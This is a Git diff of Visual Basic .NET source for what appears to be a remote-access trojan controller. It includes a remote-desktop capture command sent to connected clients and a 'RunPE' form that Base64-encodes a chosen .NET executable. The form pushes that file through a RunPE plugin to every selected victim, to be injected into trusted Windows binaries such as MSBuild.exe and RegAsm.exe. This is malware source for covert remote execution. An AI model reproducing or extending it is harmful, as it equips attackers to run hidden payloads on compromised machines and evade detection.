||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If Guna2GradientButton1.Text = "OFF" Then
|
||||
Guna2GradientButton1.Text = "Capturing..."
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
|
||||
|
||||
Dim B As Byte() = SB("RD+" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Guna2ComboBox2.SelectedIndex.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripStatusLabel6_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel6.Click
|
||||
If ToolStripStatusLabel6.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel6.ForeColor = Color.Black
|
||||
Else
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel6.ForeColor = Color.Green
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+176
@@ -0,0 +1,176 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class RunPE
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RunPE))
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Guna2ComboBox2 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton3 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(16, 33)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(37, 13)
|
||||
Label1.TabIndex = 2
|
||||
Label1.Text = ".NET :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(23, 60)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(30, 13)
|
||||
Label2.TabIndex = 3
|
||||
Label2.Text = "File :"
|
||||
'
|
||||
'Guna2ComboBox2
|
||||
'
|
||||
Guna2ComboBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.BorderRadius = 3
|
||||
Guna2ComboBox2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox2.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox2.ItemHeight = 15
|
||||
Guna2ComboBox2.Items.AddRange(New Object() {"aspnet_compiler.exe", "RegAsm.exe", "MSBuild.exe", "RegSvcs.exe", "vbc.exe"})
|
||||
Guna2ComboBox2.Location = New System.Drawing.Point(59, 57)
|
||||
Guna2ComboBox2.Name = "Guna2ComboBox2"
|
||||
Guna2ComboBox2.Size = New System.Drawing.Size(176, 21)
|
||||
Guna2ComboBox2.TabIndex = 92
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"v4.0", "v2.0"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(59, 30)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(176, 21)
|
||||
Guna2ComboBox1.TabIndex = 93
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(59, 84)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(176, 24)
|
||||
Guna2GradientButton1.TabIndex = 94
|
||||
Guna2GradientButton1.Text = "Select"
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 4
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(12, 143)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(84, 24)
|
||||
Guna2GradientButton2.TabIndex = 95
|
||||
Guna2GradientButton2.Text = "Ok"
|
||||
'
|
||||
'Guna2GradientButton3
|
||||
'
|
||||
Guna2GradientButton3.BorderRadius = 4
|
||||
Guna2GradientButton3.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton3.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton3.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton3.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton3.Location = New System.Drawing.Point(163, 143)
|
||||
Guna2GradientButton3.Name = "Guna2GradientButton3"
|
||||
Guna2GradientButton3.Size = New System.Drawing.Size(84, 24)
|
||||
Guna2GradientButton3.TabIndex = 96
|
||||
Guna2GradientButton3.Text = "Close"
|
||||
'
|
||||
'RunPE
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(259, 179)
|
||||
Controls.Add(Guna2GradientButton3)
|
||||
Controls.Add(Guna2GradientButton2)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Guna2ComboBox1)
|
||||
Controls.Add(Guna2ComboBox2)
|
||||
Controls.Add(Label2)
|
||||
Controls.Add(Label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MaximizeBox = False
|
||||
MinimizeBox = False
|
||||
Name = "RunPE"
|
||||
SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Text = "RunPE"
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Guna2ComboBox2 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton3 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,64 @@
|
||||
Imports System.Threading
|
||||
Public Class RunPE
|
||||
|
||||
Dim v4 As String = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\"
|
||||
Dim v2 As String = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\"
|
||||
|
||||
Public File As Byte()
|
||||
Public Net As String
|
||||
Private Sub RunPE_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Guna2ComboBox1.Text = "v4.0"
|
||||
Guna2ComboBox2.Text = "aspnet_compiler.exe"
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||||
Close()
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
|
||||
Dim o As New OpenFileDialog
|
||||
With o
|
||||
.Filter = "(*.exe)|*.exe"
|
||||
.Title = "Select .Net File"
|
||||
End With
|
||||
|
||||
If o.ShowDialog = DialogResult.OK Then
|
||||
Try
|
||||
System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
|
||||
Catch
|
||||
MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
|
||||
Return
|
||||
End Try
|
||||
|
||||
File = Compress(IO.File.ReadAllBytes(o.FileName))
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
If Guna2ComboBox1.Text = "v4.0" Then
|
||||
Net = v4
|
||||
End If
|
||||
If Guna2ComboBox1.Text = "v2.0" Then
|
||||
Net = v2
|
||||
End If
|
||||
Try
|
||||
If File Is Nothing Then
|
||||
Else
|
||||
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\RunPE.dll") & SettingsHelper.SPL & Net & Guna2ComboBox2.Text & SettingsHelper.SPL & Convert.ToBase64String(File))
|
||||
For Each C As Client In Main.GetSelectedClients
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
MessageBox.Show("DONE!")
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user